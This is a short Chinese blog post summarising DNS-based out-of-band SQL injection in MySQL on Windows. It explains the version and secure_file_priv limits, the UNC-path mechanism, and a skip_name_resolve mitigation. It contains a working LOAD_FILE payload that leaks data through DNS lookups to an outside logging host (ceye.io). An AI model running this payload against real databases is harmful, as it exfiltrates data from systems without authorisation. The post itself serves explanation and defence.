MySQL利用DNS实现注入总结
这个利用方式只能在Windows下利用,而且对mysql的版本也有限制:mysql版本必须小于5.5.53。
测试语句:
1 | SELECT LOAD_FILE(CONCAT('\\\\',version(),'.a.ceshia.ag5dgy.ceye.io\\abc')) |
利用的DNS记录平台是 ceye。
之所以只有windows下可以使用,是因为利用了windows的
1 | \\127.0.0.1\1.txt |
这种文件访问机制触发了dns解析问题,在linux下不存在此问题。
版本限制是因为在Mysql当中存在一个secure_file_priv全局变量,这个变量在5.5.53版本以前是null,就是关于load_file,outfile没有安全限制。之后的版本添加了安全限制。
1 | 这些函数是需要绝对路径的 |
另外,MySQL之所以能够解析域名,是因为
1 | show variables like 'skip_name_resolve%'; |
skip_name_resolve 这个参数为OFF,修复方案就是将这个参数设置为ON,但是这样有可能影响正常业务,谨慎评估。
- 本文链接:http://l4yn3.github.io/2019/04/05/MySQL利用DNS实现注入总结/
- 版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!